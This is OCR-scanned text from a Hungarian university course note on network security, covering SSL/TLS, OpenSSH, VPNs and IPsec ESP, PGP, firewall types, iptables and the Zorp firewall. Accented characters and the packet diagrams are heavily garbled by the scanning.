halézatoknak a nyilvanos halozat felé vald kijaratai (security gateway)
egymds kozott a nyilvanos halozatra épitve értékndvelt szolgéltatissal
oldjak meg a telephelyek kozott az informécid biztonsagos atvitelét: VPN

(Virtual Private Network), ez mutatja be a 17. dbra.

Ebben a fejezetben a tovabbiakban eldszor az SSL/TLS megoldassal, majd
pedig a VPN-nel foglalkozunk.

a——— - ~

17. abra: VPN kialakitasa
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4.1. SSL/TLS infrastruktura és alkalmazasai

41.1. SSL/TLS, OpenSSL

crer

Internet Draft-ként tették kozzé, lehetdvé téve ezzel, hogy a protokollt

barki implementalhassa. A specifikécio elérhetd a http://wp.netscape.com/

eng/ssl3/ oldalon. Ez képezte az alapjat az 1999-ben kozzétett TLS 1.0
protokollnak (RFC 2246). (Jegyezziikk meg, hogy az SSL 2-es verzidja

biztonsagi rést tartalmaz, nem szabad hasznalni!)

Az SSL/TLS tulajdonképpen egy 1j, biztonsagi réteget definial a TCP/IP
folott és az alkalmazésok (pl. HTTP) alatt.

Az SSL/TLS protokoll nyilt forrdsu implementacidja az ,,Open SSL
Project” keretében késziilt, gyakorlatilag felhasznalhatd nyilt forrast és
kereskedelmi szoftverek fejlesztésére is. A projektrél bdvebben

olvashatunk a http://www.openssl.org/ webhelyen. Az OpenSSL

programkonyvtar (library) egy olyan funkciokészletet (API — Application
Programming Interface) nyudjt, amelyet felhasznilva biztonsagos
kommunikéciot folytatd programok irhaték. Rendelkezik parancssoros
interfésszel is, igy a felhasznalok kozvetleniil is elérhetik a szolgéltatasait.

(P¢ldaul kriptografiai fiiggvények elérése a parancsértelmezdbdl.)

41.2. OpenSSH

Az OpenSSL-re épiil az OpenBSD projekt részeként kifejlesztett OpenSSH

szoftvercsomag. Ez a biztonsadgos tavoli bejelentkezésen (Secure Shell)


http://www.openssl.org/
http://wp.netscape.com/eng/ssl3/
http://wp.netscape.com/eng/ssl3/
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kiviil biztonsagos f4jl atvitelre (scp, sftp), X11 atvitelre, port-tovabbitasra
is hasznalhatd. @ A csomag nyilt forrdsi és barki béarmilyen célra
felhasznalhatja. Ezt Gigy érték el, hogy a szabadalommal védett részeket
eltavolitottak a kodbol (pl. az IDEA titkositast teljesen kihagytak) és amire
sziikség volt, azt kiils6 konyvtarakkal oldottadk meg (pl. OpenSSL).

Az OpenSSH nyilvanos kulcst titkositdson alapuld erds authentikaciot
hasznal. A kommunikéci6 titkositdsara a TripleDES, Blowfish, AES

blokktitkositok és az Arcfour nevil folyamtitkositd hasznalhato.

A programcsomagot hallgatéink az el6z6 félévben mar jol megismerték,

vizsgan majd Ujra szdmon kérjuk! ;-)

A projektnek még magyar nyelvii weblapja is van:

http://www.openssh.com/hu/

Akit érdekel, elolvashatja az ssh kereskedelmi verzidjanak honlapjan
talalhat6 cikket is:
http://www.ssh.com/documents/28/SecuringwithSecSh_WhitePaper.pdf
(Ez a link mar nem miikédik: 2008. 03. 18.)

41.3. Az s végii protokollok

Ha megnézziik az IANA jol ismert port szdmainak (well known port
numbers) listajat, akkor lathatjuk, hogy j6 néhany protokoll (pl. http,
telnet, pop3, imap4, ftp, stb.) biztonsdgos megfeleldje szdmara

lefoglaltdk a port szdmokat. Ez azt jelenti, hogy ehhez a porthoz


http://www.ssh.com/documents/28/SecuringwithSecSh_WhitePaper.pdf
http://www.openssh.com/hu/
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kapcsolodva az adott protokoll egy SSL/TLS réteg folott érthetd el. Igy
példaul a https protokoll portszama: 443, a pop3s portszdma: 995, az
imap4s portszama 993, stb.

http://www.iana.org/assignments/port-numbers

42. VPN

421. AVPN értelmezése

Miel6tt a Internet hasznalata altalanossa valt, a cégek az egymastol tavol
elhelyezkedd telephelyeiken levd haldzataik Osszekapcsoldsara valamely
tavkozlési szolgaltatotol vonalat béreltek. A bérelt vonal kezdetben a vonal
(pl. réz érpéar) kizarolagos hasznalatat jelentette, a bérld az Aaltala
megvalasztott modulacidval a (fizikai lehetdség hatdrain beliil) tetszéleges
adatsebességgel forgalmazhatott. Késobb a szolgaltatok kotott sebességli
(pl. n*64kbit/s), de garantalt mindségli adatatviteli szolgaltatast nyujtottak
bérelt vonal néven. A kapacitast az adott elotfizetd kizarolagosan hasznalta,

¢s amennyiben nem hasznalta ki, akkor sem hasznalhatta mas.

A csomagkapcsolt technologia eloretorésével elterjedt az a megoldas, hogy
a szolgaltatok a kapacitasok jobb kihasznalasa érdekében az egyes
eléfizetok forgalmat statisztikai multiplexelés segitségével ugyanazon
csomagkapcsolt halézaton viszik at. A felhasznaloknak azonban gyakran
igénye van arra, hogy a szolgaltatd a bérelt vonalakéhoz hasonlé mindségi

paramétereket garantdljon (pl. garantdlt savszélesség, késleltetés,


http://www.iana.org/assignments/port-numbers
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késleltetésingadozas). Azt is elvarhatjak, hogy a forgalmuk ne juthasson
illetéktelenek kezébe, hanem a bérelt vonalakéhoz hasonld védettséget
¢lvezzen. Ezen elvarasokat kielégitd megoldas a trusted VPN. Ebben az
esetben a szolgaltatd természetesen képes lenne a halozatan athalado
forgalom lehallgatasara, s6t modositasara, de €lvezi az eléfizetd bizalmat,
hogy ilyent nem tesz, s6t a legjobb gyakorlat szerint mindent megtesz

ennek az elkerulésére.

Egészen més megkozelités a secure VPN, ami egy nyilvanos adathal6zaton
athalad6 forgalom biztonsidgat garantalja. Ebben az esetben a nyilvanos
halézatba vald belépéskor a forgalmat megfeleld modon titkositjak, majd a
kilépéskor dekodoljak. A titkositas jelenti a garanciat, hogy az esetleges
tamado ne jusson hozza az eléfizetd altal birtokolt informaciohoz, illetve
aktiv tamadas esetén sem jusson el az el6fizetéhoz a modositott
adatfolyam. A secure VPN-t megvaldsithatja a szolgaltaté is, de igen

gyakran az el6fizetd teszi meg.

A két fajta VPN tehat mast nyujt. Biztonsagi szempontbol szdmunkra a
masodik az érdekes, de a mai best effort jellegli IPv4 alapu haldzataink
vilagaban igen nagy értéket képviselnek a garantalt mindségi paraméterek,
ezért van értelme a kettd egyiittes alkalmazéasanak: hybrid VPN. Ebben az
esetben a mindségi paramétereket garantald trusted VPN egésze vagy egy
része folott secure VPN-t is alkalmazunk. Természetesen csak a secure

VPN-en beliili rész lesz biztonsagos.
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A tovabbiakban VPN alatt a trusted VPN-t értjiik, eltérd esetben kiilon

jelezziik.

A témarol a Virtual Private Network Consortium (VPNC) honlapjan tobbet

1s olvashatunk: http://www.vpnc.org/

4.2.2. Az IPsec protokollcsalad

Az IPsec protokollcsalad a VPN megvaldsitasanak kivalo eszkoze. Az
IPsec egy rugalmas keretrendszer, amiben az egyes algoritmusok a
felhasznalas céljanak megfeleléen valaszthatok meg. Az IETF-en beliil
egy munkacsoport tobb évi munkdjaként igen jelentds mennyiségl
dokumentum  (Internet  Draft, RFC) jott  létre, ami a

http://www.ietf.org/html.charters/ipsec-charter.html cimen érhetdé el.

Mivel szamunkra a VPN megvaldsitasa szempontjabol érdekes, ezért csak
az ESP protokollal (Encapsulating Security Payload, RFC 2406), annak is
csak a tunnel modjaval foglalkozunk. Az érdekléddknek megemlitjiik,
hogy az AH (Autentication Header, RFC 2402) az {izenetek integritasanak

ellendrzését szolgalja, de nem nyujt titkossagot.

Ha az ESP-t alagit modban haszndljuk, akkor nem csupan az Aatvitt
informéciot védi meg az illetéktelenektdl, hanem a forgalom analizisének
lehetdségeit is erdsen rontja. Ezt Gigy éri el, hogy az eredeti datagramot
becsomagolva 1) fejrészt hoz 1étre, amiben a cél és a forras IP cim mezdk
nem a lizenet cimzettjének és feladojanak IP cimét hordozzak, hanem a
VPN-t megvalositd két biztonsagi atjaré (Security Gateway) IP cimét. A

datagram becsomagolasa a kdvetkezoképpen torténik:


http://www.ietf.org/html.charters/ipsec-charter.html
http://www.vpnc.org/
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BEFORE APPLYING ESP

IPv4 |orig IP hdr | |
| (any options)| TCP | Data |

IPv4 | new IP hdr* | ESP | orig IP hdr* | | | ESP | ESP|
| (any options)| hdr | (any options) |TCP|Data|Trailer|Auth|
|<========- encrypted ---------- >|
|<===-======= authenticated ---------- >|

Tehat az eredeti datagram elé keriil az ESP fejrész, az elé¢ egy 0j IP fejrész
¢s a datagram mogé is keriilnek mez6k a becsomagolas soran. Bar arra is
lehetéség van, hogy a becsomagolt datagramot ne titkositsuk (null
encryption valasztasaval), esetlinkben nem igy jarunk el, hanem valamelyik
ismert blokk titkositd algoritmust hasznaljuk (pl. DES, 3DES, AES, RCS5,
IDEA, CAST, Blowfish).

Nézziik meg egy kicsit alaposabban az ESP csomag formatumat (most mar
az elé helyezett 0j IP fejrész nélkiil):

0 1 2 3
012345678901234567890123456780901
+-t—t-t—t -ttt -ttt -ttt -ttt -ttt -ttt -ttt —F—+—F-+—+ ————
Security Parameters Index (SPI) | “~Auth.
—t—t-t—t-t—t—t—t—t-t—t-t—+—t—t—+-+—+-+—+—+—+—+-+—+-+-+-+-+-+-+-+ |Cov-
Sequence Number | |erage
—t-t—t—t-t—t -ttt -ttt -ttt -ttt -ttt -ttt -ttt -+ | ———-
Payload Data* (variable) | | ~

| Padding (0-255 bytes) | lerage*
e gt S e S B e et o e e s e e e e aan st A
| Pad Length | Next Header | v v
—t—t—t—t-t—t -ttt -ttt -ttt -ttt -ttt -ttt -ttt -+ ——————
Authentication Data (variable) |
| |
+-t—t-t—t—t—t—t—t -ttt -ttt -ttt -ttt -ttt -ttt =t -+ —+—+

I
+
I
+
I
I
+ +-t-t—t-t—t-t-t—t-t—t—t—t-t—t-t-+—+-+—+-+-+-+-+-+ |Cov-

I
+
I
+
I

Lathatjuk, hogy a beagyazott eredeti datagram egészét védi a titkositas,
illetve a titkositdé blokkméretének tobbszordsére ki kell egésziteni a
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titkositando részt, aminek az utolsé oktetje az azt kdvetd autentikécios rész
hosszat, az elétte levé oktet pedig a helykitoltd hosszat adja meg. A
sorszam a visszajatszas ellen véd, az SPI pedig annak az SA (Security
Association) kapcsolatnak az azonositdja, amelyhez a csomag tartozik.
Lathatjuk, hogy erre a kettdre is vonatkozik az autentikaci6 (ne lehessen
utkdzben észrevétleniil megvaltoztatni), de a titkositds nem, hiszen pl. az
SPI nyilt ismerete nélkiil a cimzett biztonsagi 4tjaré nem tudna mit kezdeni
a csomaggal!

Most mar lassuk, hogy mi torténik, amikor egy allomés VPN-en keresztiil
egy masik alloméssal szeretne kommunikélni! Fontos megjegyezni, hogy
nem feltétleniil TCP kapcsolat kiépitésérél van szo, lehet UDP, ICMP
izenet is! Bar ezek kapcsolatmentes protokollok, és TCP esetén is maga az
IP kapcsolatmentes, mégis sziikség van egy kapcsolatra a két biztonsagi
atjaro kozott. Ennek a kapcsolatnak 1étre kell jonnie, mielott a VPN-en
keresztiil forgalmazni lehetne. A részletek ismertetése nélkiil roviden
annyit, hogy a biztonsadgi atjarok rendelkezhetnek elére manualisan
beallitott kozos kulccsal (pre-shared key), illetve valamely nyilvanos
kulcsu titkositason alapuld modszerrel (pl. tanusitvanyok hasznalataval) is
megallapodhatnak a blokktitkositashoz sziikséges kulcsban. Az érdekldddk
bévebben a 2409-es RFC-ben olvashatnak az IKE-r6l (Internet Key
Exchange). A biztonsagi atjarék tehat a belsé halézatbol szarmazo
forgalmat kifele becsomagolva tovabbitjdk, mig a kiviilrél érkezd
forgalmat kicsomagoljdk és ellendrzik, ha minden rendben van, akkor
tovabbitjak a belsé halozatban taldlhaté cimzett felé. Mivel a nyilvanos
halézaton mintegy ,alagitban” a védendd informéci6 becsomagolva
utazik, igy a VPN altal 6sszekapcsolt belsd halozatok szomszédosként
latjak egymast. (Ez kideriil pl. az IPv4 datagram TTL vagy az IPv6
datagram hop limit mez6jébdl.) Ez arra is lehetdséget nytjt, hogy a két
belsé halézat nem publikus IP cimeket hasznaljon, amelyekkel az
Interneten egyébként nem tudnanak egymas k6zott kommunikalni!

A téma irdnt érdekldddknek ajanlott olvasméanyok magyar nyelven:

http://www.biztostu.hu/mod/resource/view.php?id=612

http://www.szamitastechnika.hu/archiv.php?id=19852



http://www.szamitastechnika.hu/archiv.php?id=19852
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4.2.3. FreeS/WAN és Openswan

A FreeS/WAN projekt keretében Iétrejott az IPsec egy nyilt forrasu

implementécidja. http://www.freeswan.org/ A projekt ugyan befejezddott,

de a fejlesztok egy csoportja és dnkéntesek 11j céget alapitottak és folytatjak

a munkat. http://www.openswan.org/

A Linux 2.6 kernel pedig mar nativ IPsec implementéciot tartalmaz.

43. PGP

A teljesség kedvért meg kell emliteniink a PGP-t is. Az elébbiekkel
szemben ez NEM on-line kommunikaciora hasznalhat6, hanem f4jlok
védelmére (rejtjelezés és digitalis alairds). Példaul kivaldan alkalmas
biztonsagos levelezésre. Megalkotoja, Phil R Zimmermann 1991-ben
publikalta, torténetérdl ¢és jellemzdirdl olvashat(t)junk (amig az oldal

miikodott): http://www.hup.hu/wiki/index.php/PGP .

Eddigi ismereteinkhez képest két teriileten hordoz wjdonsagot, ezek: a

digitalis boriték alkalmazasa €s a nyilvanos kulcsok kezelése.

4.3.1. Adigitalis boriték alapelve

A rejtjelezése az un. digitalis boriték megoldason alapul, ami roviden és
leegyszeriisitve azt jelenti, hogy egyrészt nyilvdnos kulcsi megoldést
hasznal, (eredetileg RSA-t hasznalt, most mar DSA-t is), de mivel ezek az

algoritmusok lasstuak, ezért az lizenet kodolasra egy masik algoritmust vesz


http://www.hup.hu/wiki/index.php/PGP
http://www.openswan.org/
http://www.freeswan.org/
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igénybe. Ez lehet egy szimmetrikus kulcsu algoritmus, példaul AES.
General egy véletlen kulcsot, amit az iizenet kodolasara hasznal, majd a
véletlen kulcsot elkddolja a cimzett nyilvanos kulcsaval és hozzaflizi az
tizenethez. (Természetesen ezen kiviil ald is irhatja az egészet a sajat titkos

kulcsaval.)

4.3.2. APGP kulcsgondozasa

A PGP kulcsmenedzsmentje Iényegében a kordbban ismertetett PKI
funkcidit valositia meg, de nem sziikséges hozza eldre kiépitett
infrastruktira. A PGP rendszerben minden felhaszndld kiadhat egy
tanUsitvanyt masok nyilvanos kulcsara. Ezeket a tanusitvanyokat a
felhasznalok egymas kozott cserélgethetik, vagy nyilvanos adatbazisban
elhelyezhetik. A helyzetet leegyszerlsitve azt mondhatjuk, hogy akkor
fogadom el valakinek a nyilvanos kulcsat, ha van olyan tanusitvanya,
amelyet altalam mar megbizhatonak itélt forras allitott ki. A helyzet ennél
bonyolultabb, mert a rendszer a hitelesség mértékének tobb szintjét
kezeli... Akit a téma mélyebben érdekel, utana olvashat a BME-s
tankonyvben.

4.3.3. PGP a gyakorlatban

Tobb PGP termék is létezik. A szabvany az OpenPGP Alliance

http://www.openpgp.org/ altal javasolt 2440-es RFC:

http://www.ietf.org/rfc/rfc2440.txt. Ennek egy ingyenes megvalositdsa a

GnuPG (Gnu Privacy Guard) http://www.gnupg.org/, amely benne van a

fontosabb szabad levelezd programokban (példdul mutt vagy Kmail) is.


http://www.gnupg.org/
http://www.ietf.org/rfc/rfc2440.txt
http://www.openpgp.org/
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5. Tuzfalak

A tlizfalat hatarvédelmi eszkoznek szoktak nevezni. Ez igaz is, de jobb az a
megfogalmazas, hogy a tlizfal az az eszkdz, ami az Informatikai Biztonsagi
Szabalyzat halozati hatarvédelemre vonatkozo részét betartatja. Miben
mond tdbbet ez a definicio? Elészor is kell egy IBSZ, ennek
megalkotdsakor megfeleld elemzés utan tobbek kozott azt is el kell
donteni, hogy milyen forgalmat engedélyeziink a haldzat hataran. A tiizfal
csak egy eszkoz, amivel a mar megalkotott IBSZ hatarvédelemre
vonatkozo6 részének betartasat kikényszerithetjiik, nem pedig egy magikus
doboz, amit csak meg kell venni, és aztdn megvéd benniinket minden kiilsé
tamadastol! Tovabba a tiizfal nem kizéarolag kiilsd, de belsé tdmadasoktol
véd. Azt is mondhatjuk, a kiilsé és belsé adataramlasi vonalak mddjat
hatdrozza meg (kényszeriti). Ezen kiviil jo, ha azt is latjuk, hogy a tiizfal
csak az IBSZ egy részének betartasat képes kikényszeriteni, a tobbirdl mas

modon kell gondoskodnunk!

Erdeklddéknek ajanlott olvasmany az Informatikai Téarcakézi Bizottsag
ajanlasai kozott talalhatd Informatikai biztonsagi modszertani kézikonyv:

http://www.itb.hu/ajanlasok/a8/. Bar az eleje jogi szoveg, a 3. és 4. szamu

melléklete kifejezetten a targyhoz kapcsolodik.

A tovabbiakban megismerkediink a tlizfalak fejlddésével, fajtaival, az
alapfogalmakkal, roviden atismételjiik a mar megismert iptables-t ¢s

attekintjiik egy kereskedelmi forgalomban is kaphatd és GPL licenc alatt is


http://www.itb.hu/ajanlasok/a8/

84 Halozatok biztonsaga

elérthetd magyar fejlesztésii tiizfal, a Zorp legfontosabb jellemzdit. A Zorp-

rol kiilon részletes oktatasi anyag all a hallgatok rendelkezésére.

5.1. Alapok

51.1. A tiizfalak fejlédése, fajtai

A nemkivénatos kiils6 forgalommal szemben vald védekezés 2 irdnyban
indult el (18. abra).

Az egyik irany az, hogy a routert tették képessé a csomagok bizonyos
szempontok szerint valo szlirésére. Alapvetden a forras és cél IP cim volt a
szlrési szempont. A sziirés azt jelenti, hogy a csomagsziird router eldonti,
hogy atengedi-e a csomagot, vagy eldobja. Pusztan az IP cimek vizsgalata
nem ad elég informaciot a dontéshez, sziikséges volt a forras és cél port
figyelembe vételére is. Azonban még ez is kevés lehet a helyes dontéshez,
ezért talaltdk ki a kapcsolat-allapot alapu dllapottarto csomagsziirot, mely
nem csak az egyes beérkezO csomagok sorsarol dont, de a teljes
kapcsolatr6l hoz dontést. Ez természetesen tartalmazza az esetleges
masodlagos kapcsolatokat is (pl. FTP vezérld és adat csatorna), de akar a
sziikséges ICMP iizeneteket is. Erdekes kérdés, hogy az allapot mentes

UDP forgalmat is kapcsolatként kezeli.
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18. dbra: Tiizfalak fejlédése

A masik irany az volt, hogy nem engedték meg az Osszes gép szamara,
hogy a kiilvilaggal kommunikaljon, hanem csak egy kitiintetett gép, a
bastion host szamara. A gépek felhasznaloinak elészor erre kellett
bejelentkezniiik, majd err6l mehettek tovabb. Ez persze jelentds
kényelmetlenséget okoz, ezért talaltak ki a proxy tizfalat. llyenkor az
alkalmazasokban be kell allitani, hogy amennyiben a felhasznalo
valamilyen kiilsé halézaton elérhetd szolgaltatashoz szeretne kapcsolodni
(pl. HTTP, FTP) akkor az alkalmazas ne az adott géphez, hanem a proxy
tlizfalhoz forduljon. A proxy pedig kozelitéleg ugy viselkedik a kliens
alkalmazas felé, mintha 6 lenne a kérdéses szolgaltatast ny(jté gép: amikor

a kliens a proxyhoz kapcsolodik, a proxy létrehoz egy masik kapcsolatot a

szerver felé, azutan pedig a kliens kéréseit értelmezi, és ugyan olyan kérést
intéz a szerverhez, majd a szerver valaszat tovabbitja a kliensnek. Az ilyen

un. nem transzparens tlizfalak hibaja, hogy proxy tipust kommunikaciora
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felkészitett klienst és protokollokat igénylenek. Ilyen a mar emlitett HTTP
vagy FTP, bar mdas protokollok igazan nem tartalmazzdk ezt az

uzemmodot.

Vegylik észre, hogy az alapvetd kiilonbség az allapottartd csomagsziird és a
proxy tiizfal kozott az, hogy az elsd esetben kdzvetlen kapcsolat van a
kliens ¢és a szerver kozott, mig a masodik esetben két kiilon kapcsolat épiil
ki, egyik a kliens és a proxy, a masik a proxy és a szerver kozott. Ennek
kovetkezményeként a két rendszer eltérden viselkedik. Az elsd esetben
bizonyos szempontok szerint dontést kell hozni az &atengedésrél vagy
eldobasrdl, mig a masodik esetben le kell jatszani a protokollt. Nézziink
egy példat a kettd kozotti kiillonbség megvildgitasara! Képzeljiik el, hogy
egy szerver 80-as portjara telnet-elve ,kézzel” akarunk lekérni egy
weblapot. Tételezziik fel, tevékenységiink nem iitkozik az IBSZ-be, tehat
ilyen okbdl egyik tlizfal sem akadalyozza meg. Ha a HTTP kérés
szintaxisat szandékosan elrontjuk, az elsd esetben a szervertdl kapunk egy
megfeleld hibaiizenetet, mig a masodik esetben a proxy nem tudja
értelmezni a kérésiinket, €s egyaltalan nem fordul a szerverhez, hanem

hibatizenetet kiild vissza!

Az allapottartd csomagszlrd elénye a sebesség, viszont hatranya, hogy
csupan az IP cimek és portszamok alapjan kell dontést hoznia. A proxy
elénye, hogy az alkalmazasok protokolljait lejatssza, és a protokollok
megsértésén alapuld tdmadasok ellen is védelmet képes nyudjtani. Hatranya
viszont a lassabb miikddésen tal (ez igazdbol nem hatrany, hanem a

biztonsag 4ara) az, hogy nem transzparens, illetve csak olyan
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alkalmazasokat tud megvédeni amelyek protokolljait ismeri. Mindkét

megoldast tovabbfejlesztették; lassuk, hogy hogyan!

A proxy alapvet6 kellemetlensége, hogy hasznalata kliens oldali beéllitast
igényel. Ezért fejlesztették ki a transzparens proxy tiizfalat, ami sajat maga
képes a csomagokat atiranyitani, és aztan a proxy miikodést elvégezni.
Fejleszt6i szempontbol problémat okoz azonban a protokollok egymasba
agyazasa. Ha a tlizfal pusztan a kiils6 protokollt jatssza le, a belsét nem
tudja ellendrizni. Ezért talaltdk ki a modularis transzparens proxy tiizfalat.
Ez képes a beagyazott protokollokat a megfelel6 modulok segitségével
tetszoleges mélységben megvizsgalni. Ha példaul egy levelet toltiink le
POP3 protokollon keresztiil, amiben van egy MIME kodolt csatolt fajl,
akkor a POP3 modul meghivja a MIME modult, és amennyiben
virusvédelmiink is van, a MIME modul a csatolt f4jlt megvizsgaltatja a
viruskeres6 modullal. Az ilyen tiizfalra példa a magyar Balabit Kft.

http://www.balabit.hu Zorp nevii tiizfala, amivel részletesen foglalkozunk.

Az allapottartd csomagsziird gyengesége, hogy nem lat bele az
alkalmazasok protokolljaiba. Ezt is tovabbfejlesztették, igy jutottak el az
alkalmazas szintii tizfalhoz, amelyet a fenti megfontolasokbol szintén
modulérissa tettek: modularis alkalmazas szintii tizfal. Ezekkel az
elnevezésekkel egy 2002-es konferencian talalkoztam, ahol az ALF nevil
tlizfalat (Application Level Firewall) mutattdk be. Akkor még a 2.2-es
Linux kernelben talalhat6 ipchans-t hasznélta, ami feladta a user space-ben
futé moduloknak a csomagokat vizsgalat céljara. Sajnos késobb a tlizfallal

nem talalkoztam, az ANT Kft. honlapjan az ALF feloldasaként a jegyzet


http://www.balabit.hu/
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irasakor az Advanced Linux Firewall szerepelt, de 1ényegi informaciot
akkor nem taldltam réla. Egyetlen alkalmazasként (a proxy altal generalt

hibatizenetb6l) a www.magyarorszag.hu-r6l tudtam, hogy ezt hasznalta:

,Server: ALF - Advanced Linux Firewall”. Aztan sokkal
késobb, 2010. januar 29-én talaltam egy leirast, amit érdeklodéknek

olvasasra javaslok: http://www.andrews.hu/alf.hu.html, Az egyértelmiien

kideriil a cikkbdl, hogy (ekkor mar) ALF is proxy, azaz a tlizfalak
fejlodésének fent leirt két aga talalkozott! Egy masik csomagsziird alapt

kereskedelmi tlizfal a finn StoneSoft cég http:/www.stonesoft.com

StoneGate tlizfala.  Hallgatéink 2003 0szén a magyar Piksys Kift

http://www.piksys.hu tdmogatdsdval StoneGate tanfolyamon vehettek

részt, sOt ingyenesen letehették StoneSoft hivatalos oklevelét nyujtd
vizsgat. A témarol a Tavkozlés-informatika Labor honlapjan cikk

olvashato: http://www.tilb.sze.hu.

5.1.2. Alapfogalmak

A fentiekben mar lattuk, hogy a tiizfal(ak) alkalmazasanak egyik célja a
belsd halozatunk védelme a kiilsé tdmadasokkal szemben. Azonban ezen
tul is van még mit megvédeni. Egy intézménynél altalaban kiilonbozo
feladatkorrel rendelkezd és kiillonb6zo feleldsséggel bird emberek
dolgoznak. A bizalmas adatokhoz vald jogtalan hozzaférési kisérletek
sajnos nagyon gyakran beliilr6l jonnek. Ezért a szervereket altaldban
mindkét irdnybol védeni szoktdk. Az alapkiépités, amit mar az egyszerii
dedikalt tlizfalak is ismernek (pl. 3Com OfficeConnect DMZ Firewall) a

tlizfal szempontjabdl 3 zondt kiillonboztet meg: a kiilso halozat (WAN), a


http://www.tilb.sze.hu/
http://www.piksys.hu/
http://www.stonesoft.com/
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belso halozat (LAN) és a szerverek szdmara fenntartott, mindkét irdnybol

védett, un. demilitarizalt zona (DMZ).

Természetesen ennél tobb zonank is lehet, a belsé haldzatot is, a
szervereket is sorolhatjuk tobb zondba, az IBSZ-nak megfelelden.
Ugyancsak az IBSZ-bdl kovetkezik, hogy az egyes zondk kozott milyen
forgalmat engedélyeziink. Ezt az &ltalunk hasznalt tlizfalnak un. #izfal
szabalyokkal adhatjuk meg. A szabalyok szintaxisa (milyen forméban kell
megadni Oket) és szemantikdja (mit jelentenek) az alkalmazott tlizfaltol
figg. Altaliban lehetéség van valamilyen karakteres feliileten keresztiil
parancsok formdjaban kozolni a szabalyokat a tlizfallal, illetve a tlizfal

nyujthat valamilyen grafikus menedzsment feliiletet.

Bar ez nem a legfontosabb csoportositds szempont, de meg szoktak
kiilonboztetni dedikalt hardver tizfalakat és szoftveres tizfalakat. Az
elobbi egy valamilyen méreti doboz (pl. a 3Com OfficeConnect
sorozatatél kezdve a rack-be szerelhetdig) bizonyos szamu haldzati
csatlakozoval, ami ranézésre valamilyen halozati aktiv eszkozhoz hasonlit.
Persze a ,,hardver” elnevezés megtévesztd, ezeken is valamilyen, sokszor
Linux alapu szoftver fut, kifejezetten tlizfal céljara épitett célhardveren
(ipari szamitogép). A szoftveres tlizfal kozonséges PC-n, annak operacios
rendszere alatt futd program, azonban a hardvert illetden ¢lhetnek
megkdtésekkel. Példaul a kordbban emlitett StoneGate csak bizonyos (jo
mindségll) halozati kartydkat tamogat. JO esetben sajat operacios
rendszeriik is lehet, ami pl. a Zorp OS esetében nem mds, mint egy

megerdsitett Ubuntu LTS Linux. Bar egyes gyartok azt allitjdk, hogy
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hardver tlizfal eszkoziik biztonsagosabb a PC alapu szoftveres tlizfalaknal,
mert az utdbbindl az operdciés rendszer is tdmadhatd, tisztidban kell
lenniink azzal, nyilvan valoan a hardveres tlizfalon is operacios rendszer

fut, amiben szintén lehetnek hibak!

5.2. NetFilter / IPTables

Ez az alfejezet Jonas Zsolt munkaja, itt csak a teljesség kedvéért szerepel,
hallgatoink ennél mélyebben tanultak a ,,Halozati operacids rendszerek”

targy els6 félévében.

http://netfilter.org

A netfilter egy beépitett blokkold keretrendszer a 2.4.x-es és 2.6.x-es
Linux kernelekben. A keretrendszer képes csomagokat sziirni, hal6zatcimet
¢s portszdmot forditani (NAT/NAPT), valamint képes egyéb
csomagmanipuldciokra. A Linux 2.2.x ipchains (és a Linux 2.0.x ipfwadm)

rendszerének Gjratervezett €s nagymértékben javitott utodja.

Az iptables egy altalanos tablastruktira szabalyrendszerek definialasara.
Minden IP tdblazaton beliili szabaly tobb osztilyozot (iptables matches)
tartalmaz ¢és egy hozzd kapcsolodd eseményt (iptables target). A
netfilter, iptables ¢€s a kapcsolat kovetés, valamint a NAT

alrendszer egyiittesen képzik a keretrendszert.


http://netfilter.org/
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Foébb tulajdonsagok

nem allapottarto (stateless) csomagsziirés (IPv4 és IPv6)
allapottarto (stateful) csomagsziirés (IPv4)

halézatcim és portszam forditds (NAT/NAPT)

flexibilis és bdvithetd kialakitas

tobbrétegli API feliilet a kiils6 fejlesztok szamara

hatalmas plugin és module gyiijtemény 'patch-o-matic' csomagban

Mire hasznalhaté a neffilter / iptables?

épithetd stateless €s stateful csomagsziird tlizfal

a NAT és a MASQUERADE hasznélataval internet megosztas

hozhato 1étre, ha nincs elég publikus IP cim
NAT hasznalataval 1étrehozhatok atlatszo (transparent) proxy-k

egyéb csomagmanipulaciok (mangle), ugymint TOS/DSCP/ECN

bit-ek véltoztatdsa az IP csomagok fejlécében

Az IPTables program altal vezérelhetjiik a kernelben levé NetFilter modult,
azaz az IPTables programmal szarhatunk be vagy torolhetiink szabalyokat
a kernel csomagsziird tablazatabol. Ez azt is jelenti, hogy minden
rendszerindulaskor wjra be kell tolteni a szabalyokat (persze van mod

automatizalasra).
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5.3. Zorp

A Balabit Kft-vel vald oktatasi egyiittmiikodés keretében hallgatoink a
targy gyakorlatain hasznalhatjak Zorp tiizfal kereskedelmi verzidjat, a Zorp
Professionalt. A Balabit Kft rendelkezéslinkre bocsdjtotta a Zorp 3.3

hivatalos oktatasi anyagat, ezt a hallgatdink megtalaljak a targy honlapjan.

A Zorp-nak van egy GPL-es valtozata is (amelybdl hidnyoznak bizonyos
kényelmi funkciok, a telepitd, a menedzsment rendszer, kevesebb proxy
van benne, stb., viszont a tlizfal engine ugyanaz, és szabad szoftver),
amelyet az érdeklédok elérhetnek a Balabit Kft honlapjéan:
http://www.balabit.com/products/zorp_gpl/, ezen kiviil megtalalhat6 pl. a

magyar nyelvit UHU Linux disztribucid 1.2-es verzidjaban is. S6t van egy
»~hemhivatalos”, a Zorp GPL-re épiild, azt kiegészitd ,,Zorp unofficial”

projekt is: http://zorp-unoff.sourceforge.net/.

A tovébbiakban a Zorp Professionallal fogunk foglalkozni. A jegyzet t6bbi
részével valo aranyossag kovetelménye csak egy attekintést enged meg, a
teljes tananyag Ugyis a hallgatoink rendelkezésére &ll. Ez a rdvid
Osszefoglald csak nagyon feliiletes betekintés a Zorp rendszerbe, csak egy
kép arrdl, hogy mennyire mas, mint a mar ismert iptables. (A hallgatok
szdmara valaha javasoltuk, hogy a Zorp tananyagot elére toltsék le és
olvassak el, hogy a gyakorlatokon gordiilékenyen folyhasson a munka. A
késdbbiek soran ismét tervezziik a Zorp-ot oktatédsi célra hasznalni, jelenleg
egy megfelelden felkésziilt, ratermett €s megbizhato hallgatot keresek, aki

szakdolgozat ¢és nyari gyakorlat keretében szivesen foglalkozna a témaval!)


http://zorp-unoff.sourceforge.net/
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5.3.1. Altalanos jellemzdék

A Zorp nemcsak egy tlizfalprogram, hanem egy teljes tlizfal rendszer
minden olyan komponenssel, amire egy tlizfalon sziikség van. Az alap
operacios rendszer (Zorp OS) egy megerdsitett Ubuntu LTS Linux, a
